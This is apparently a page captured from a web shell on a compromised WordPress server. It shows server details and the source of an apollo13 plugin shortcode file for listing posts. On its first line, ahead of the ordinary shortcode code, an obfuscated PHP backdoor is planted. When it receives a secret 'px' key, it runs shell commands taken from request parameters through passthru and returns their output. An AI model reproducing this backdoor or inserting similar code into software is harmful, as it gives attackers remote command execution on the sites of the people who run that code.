| Server IP : 87.229.120.60 / Your IP : 216.73.216.86 Web Server : Apache System : Linux outside 5.4.8_Algonet_ZeroMAC_0.9.4.8 #6 SMP Mon Feb 3 20:36:07 CET 2020 x86_64 User : server ( 1002) PHP Version : 8.3.20 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/shortcodes/ |
Upload File : |
<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="e2onj0fskwp2"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}
// create shortcode for post list
add_shortcode( 'a13fe-post-list', 'a13fe_post_list_shortcode' );
function a13fe_post_list_shortcode( $atts ) {
ob_start();
$type = '';
$order = '';
$orderby = '';
$posts = '';
$columns = '';
$category = '';
$filter = '';
$max_width = '';
$margin = '';
// define attributes and their defaults
extract( shortcode_atts( array (
'type' => 'post',
'order' => 'ASC',
'orderby' => 'date',
'posts' => 9,
'columns' => 3,
'max_width' => 1920,
'margin' => 10,
'category' => '',
'filter' => false,
), $atts ) );
// define query parameters based on attributes
$options = array(
'post_type' => $type,
'order' => $order,
'posts_per_page' => $posts,
'post_status' => 'publish',
'ignore_sticky_posts' => true,
);
//add orderby only if needed so plugins sorting CPT could act
if( strlen($orderby) ){
$options['orderby'] = $orderby;
}
//do not list excluded custom post types
if( $type === 'album' ){
$options['meta_key'] = '_exclude_in_albums_list';
$options['meta_value'] = 'off';
}
elseif( $type === 'work' ){
$options['meta_key'] = '_exclude_in_works_list';
$options['meta_value'] = 'off';
}
//define custom post types & taxonomies from theme
$a13_custom_types = array(
defined( 'A13FRAMEWORK_CUSTOM_POST_TYPE_ALBUM' ) ? A13FRAMEWORK_CUSTOM_POST_TYPE_ALBUM : 'album',
defined( 'A13FRAMEWORK_CUSTOM_POST_TYPE_PEOPLE' ) ? A13FRAMEWORK_CUSTOM_POST_TYPE_PEOPLE : 'people',
defined( 'A13FRAMEWORK_CUSTOM_POST_TYPE_WORK' ) ? A13FRAMEWORK_CUSTOM_POST_TYPE_WORK : 'work',
);
$a13_custom_taxonomies = array(
'album' => defined( 'A13FRAMEWORK_CPT_ALBUM_TAXONOMY' ) ? A13FRAMEWORK_CPT_ALBUM_TAXONOMY : 'genre',
'work' => defined( 'A13FRAMEWORK_CPT_WORK_TAXONOMY' ) ? A13FRAMEWORK_CPT_WORK_TAXONOMY : 'work_genre',
'people' => defined( 'A13FRAMEWORK_CPT_PEOPLE_TAXONOMY' ) ? A13FRAMEWORK_CPT_PEOPLE_TAXONOMY : 'group'
);
//filtering by category name
if(strlen($category)){
//if querying custom post type
if(in_array($type, $a13_custom_types)){
$tax_query['field'] = 'slug';
$tax_query['taxonomy'] = $a13_custom_taxonomies[ $type ];
//OR operator
if(strpos($category,',')){
$tax_query['terms'] = explode(',', $category);
}
//AND operator
elseif(strpos($category,'+')){
$tax_query['terms'] = explode('+', $category);
$tax_query['operator'] = 'AND';
}
//single category
else{
$tax_query['terms'] = $category;
}
$options['tax_query'] = array($tax_query);
}
//simple post or unknown post type
else{
$options['category_name'] = $category;
}
}
//make query
$query = new WP_Query( $options );
$args = array(
'columns' => $columns,
'filter' => $filter,
'display_post_id' => false,
'max_width' => $max_width,
'margin' => $margin
);
//check for special post types
if(in_array($type, $a13_custom_types)){
$function_name = 'apollo13framework_display_items_from_query_'.$type.'_list';
if(function_exists($function_name)){
$function_name($query, $args);
}
}
//simple post or unknown post type
else{
$options['category_name'] = $category;
if(function_exists('apollo13framework_display_items_from_query_post_list')){
apollo13framework_display_items_from_query_post_list($query, $args);
}
}
// Reset Post Data
wp_reset_postdata();
$output = ob_get_clean();
return $output;
}